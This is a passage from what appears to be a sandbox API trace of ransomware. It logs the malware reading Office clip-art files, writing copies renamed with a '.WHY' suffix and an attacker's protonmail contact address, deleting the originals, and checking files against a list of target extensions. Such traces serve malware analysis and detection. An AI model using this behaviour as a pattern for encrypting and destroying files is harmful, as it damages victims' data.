lpNumberOfBytesWritten=0x352fc9c*=0x5f10, lpOverlapped=0x0) returned 1 [0274.810] ReadFile (in: hFile=0x394, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x0, lpOverlapped=0x0) returned 1 [0274.810] WriteFile (in: hFile=0x3b8, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.810] SetEndOfFile (hFile=0x3b8) returned 1 [0274.810] CloseHandle (hObject=0x3b8) returned 1 [0274.813] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.813] SetEndOfFile (hFile=0x394) returned 1 [0274.821] CloseHandle (hObject=0x394) returned 1 [0274.821] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0274.822] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf")) returned 1 [0274.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0274.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0274.823] lstrlenW (lpString=".doc") returned 4 [0274.823] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.823] lstrlenW (lpString=".docx") returned 5 [0274.823] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.823] lstrlenW (lpString=".pdf") returned 4 [0274.823] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.823] lstrlenW (lpString=".xls") returned 4 [0274.823] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.823] lstrlenW (lpString=".xlsx") returned 5 [0274.823] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.823] lstrlenW (lpString=".ppt") returned 4 [0274.823] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0274.823] lstrlenW (lpString=".zip") returned 4 [0274.824] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.824] lstrlenW (lpString=".rar") returned 4 [0274.824] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.824] lstrlenW (lpString=".bz2") returned 4 [0274.824] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.824] lstrlenW (lpString=".7z") returned 3 [0274.824] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0274.824] lstrlenW (lpString=".dbf") returned 4 [0274.824] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0274.824] lstrlenW (lpString=".1cd") returned 4 [0274.824] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0274.824] lstrlenW (lpString=".jpg") returned 4 [0274.825] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0274.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0274.825] lstrlenW (lpString=".doc") returned 4 [0274.825] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.825] lstrlenW (lpString=".docx") returned 5 [0274.825] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.825] lstrlenW (lpString=".pdf") returned 4 [0274.825] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.825] lstrlenW (lpString=".xls") returned 4 [0274.825] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.826] lstrlenW (lpString=".xlsx") returned 5 [0274.826] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.826] lstrlenW (lpString=".ppt") returned 4 [0274.826] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0274.826] lstrlenW (lpString=".zip") returned 4 [0274.826] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.826] lstrlenW (lpString=".rar") returned 4 [0274.826] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.826] lstrlenW (lpString=".bz2") returned 4 [0274.826] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.826] lstrlenW (lpString=".7z") returned 3 [0274.826] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0274.827] lstrlenW (lpString=".dbf") returned 4 [0274.827] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0274.827] lstrlenW (lpString=".1cd") returned 4 [0274.827] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0274.827] lstrlenW (lpString=".jpg") returned 4 [0274.827] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.828] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0274.828] lstrlenW (lpString="BD08868_.WMF") returned 12 [0274.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0274.828] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x352ff1c | out: lpFileSize=0x352ff1c*=40206) returned 1 [0274.829] CloseHandle (hObject=0x394) returned 1 [0274.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf")) returned 0x20 [0274.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0274.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0274.830] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.830] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0274.831] GetLastError () returned 0x0 [0274.831] ReadFile (in: hFile=0x394, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x9d0e, lpOverlapped=0x0) returned 1 [0275.043] WriteFile (in: hFile=0x3b8, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x9d10, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0x9d10, lpOverlapped=0x0) returned 1 [0275.437] ReadFile (in: hFile=0x394, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x0, lpOverlapped=0x0) returned 1 [0275.437] WriteFile (in: hFile=0x3b8, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0xec, lpOverlapped=0x0) returned 1 [0275.438] SetEndOfFile (hFile=0x3b8) returned 1 [0275.438] CloseHandle (hObject=0x3b8) returned 1 [0275.444] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0275.444] SetEndOfFile (hFile=0x394) returned 1 [0277.496] CloseHandle (hObject=0x394) returned 1 [0277.497] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0277.572] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf")) returned 1 [0277.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0277.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0277.573] lstrlenW (lpString=".doc") returned 4 [0277.573] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0277.573] lstrlenW (lpString=".docx") returned 5 [0277.573] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0277.573] lstrlenW (lpString=".pdf") returned 4 [0277.573] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0277.573] lstrlenW (lpString=".xls") returned 4 [0277.573] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0277.573] lstrlenW (lpString=".xlsx") returned 5 [0277.573] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0277.573] lstrlenW (lpString=".ppt") returned 4 [0277.574] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0277.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0277.574] lstrlenW (lpString=".zip") returned 4 [0277.574] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0277.574] lstrlenW (lpString=".rar") returned 4 [0277.574] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0277.574] lstrlenW (lpString=".bz2") returned 4 [0277.574] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0277.574] lstrlenW (lpString=".7z") returned 3 [0277.574] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0277.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0277.574] lstrlenW (lpString=".dbf") returned 4 [0277.574] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0277.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0277.575] lstrlenW (lpString=".1cd") returned 4 [0277.575] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0277.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0277.575] lstrlenW (lpString=".jpg") returned 4 [0277.575] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0277.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0277.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0277.575] lstrlenW (lpString=".doc") returned 4 [0277.575] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0277.575] lstrlenW (lpString=".docx") returned 5 [0277.576] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0277.576] lstrlenW (lpString=".pdf") returned 4 [0277.576] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0277.576] lstrlenW (lpString=".xls") returned 4 [0277.576] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0277.576] lstrlenW (lpString=".xlsx") returned 5 [0277.576] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0277.576] lstrlenW (lpString=".ppt") returned 4 [0277.576] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0277.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0277.576] lstrlenW (lpString=".zip") returned 4 [0277.577] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0277.577] lstrlenW (lpString=".rar") returned 4 [0277.577] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0277.577] lstrlenW (lpString=".bz2") returned 4 [0277.577] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0277.577] lstrlenW (lpString=".7z") returned 3 [0277.577] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0277.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0277.577] lstrlenW (lpString=".dbf") returned 4 [0277.577] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0277.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0277.577] lstrlenW (lpString=".1cd") returned 4 [0277.577] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0277.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 63 [0277.578] lstrlenW (lpString=".jpg") returned 4 [0277.578] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0277.578] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0277.578] lstrlenW (lpString="BD09662_.WMF") returned 12 [0277.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0277.582] GetFileSizeEx (in: hFile=0x258, lpFileSize=0x352ff1c | out: lpFileSize=0x352ff1c*=20554) returned 1 [0277.582] CloseHandle (hObject=0x258) returned 1 [0277.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf")) returned 0x20 [0277.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0277.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0277.584] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0277.584] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0277.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0278.134] GetLastError () returned 0x0 [0278.134] ReadFile (in: hFile=0x258, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x504a, lpOverlapped=0x0) returned 1 [0278.823] WriteFile (in: hFile=0x320, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x5050, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0x5050, lpOverlapped=0x0) returned 1 [0278.828] ReadFile (in: hFile=0x258, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x0, lpOverlapped=0x0) returned 1 [0278.828] WriteFile (in: hFile=0x320, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0xec, lpOverlapped=0x0) returned 1 [0278.829] SetEndOfFile (hFile=0x320) returned 1 [0278.829] CloseHandle (hObject=0x320) returned 1 [0278.834] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0278.834] SetEndOfFile (hFile=0x258) returned 1 [0278.845] CloseHandle (hObject=0x258) returned 1 [0278.845] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0278.846] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf")) returned 1 [0278.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0278.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0278.848] lstrlenW (lpString=".doc") returned 4 [0278.848] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0278.848] lstrlenW (lpString=".docx") returned 5 [0278.848] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0278.848] lstrlenW (lpString=".pdf") returned 4 [0278.848] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0278.848] lstrlenW (lpString=".xls") returned 4 [0278.848] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0278.848] lstrlenW (lpString=".xlsx") returned 5 [0278.848] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0278.848] lstrlenW (lpString=".ppt") returned 4 [0278.848] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0278.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0278.849] lstrlenW (lpString=".zip") returned 4 [0278.849] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0278.849] lstrlenW (lpString=".rar") returned 4 [0278.849] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0278.849] lstrlenW (lpString=".bz2") returned 4 [0278.849] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0278.849] lstrlenW (lpString=".7z") returned 3 [0278.849] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0278.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0278.849] lstrlenW (lpString=".dbf") returned 4 [0278.849] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0278.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0278.850] lstrlenW (lpString=".1cd") returned 4 [0278.850] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0278.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0278.850] lstrlenW (lpString=".jpg") returned 4 [0278.850] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0278.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0278.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0278.850] lstrlenW (lpString=".doc") returned 4 [0278.850] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0278.850] lstrlenW (lpString=".docx") returned 5 [0278.850] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0278.851] lstrlenW (lpString=".pdf") returned 4 [0278.851] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0278.851] lstrlenW (lpString=".xls") returned 4 [0278.851] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0278.851] lstrlenW (lpString=".xlsx") returned 5 [0278.851] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0278.851] lstrlenW (lpString=".ppt") returned 4 [0278.851] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0278.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0278.851] lstrlenW (lpString=".zip") returned 4 [0278.851] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0278.851] lstrlenW (lpString=".rar") returned 4 [0278.851] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0278.851] lstrlenW (lpString=".bz2") returned 4 [0278.852] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0278.852] lstrlenW (lpString=".7z") returned 3 [0278.852] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0278.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0278.852] lstrlenW (lpString=".dbf") returned 4 [0278.852] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0278.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0278.852] lstrlenW (lpString=".1cd") returned 4 [0278.852] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0278.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 63 [0278.852] lstrlenW (lpString=".jpg") returned 4 [0278.852] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0278.853] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0278.853] lstrlenW (lpString="BL00012_.WMF") returned 12 [0278.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0278.967] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x352ff1c | out: lpFileSize=0x352ff1c*=9818) returned 1 [0278.967] CloseHandle (hObject=0x38c) returned 1 [0278.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf")) returned 0x20 [0279.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0279.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0279.173] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0279.173] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec8 | out: lpNewFilePointer=0x0) returned 1 [0279.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0279.175] GetLastError () returned 0x0 [0279.175] ReadFile (in: hFile=0x3cc, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x265a, lpOverlapped=0x0) returned 1 [0279.180] WriteFile (in: hFile=0x2ec, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x2660, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0x2660, lpOverlapped=0x0) returned 1 [0279.184] ReadFile (in: hFile=0x3cc, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x352fed4*=0x0, lpOverlapped=0x0) returned 1 [0279.185] WriteFile (in: hFile=0x2ec, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x352fc9c*=0xec, lpOverlapped=0x0) returned 1 [0279.185] SetEndOfFile (hFile=0x2ec) returned 1 [0279.185] CloseHandle (hObject=0x2ec) returned 1 [0279.190] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, 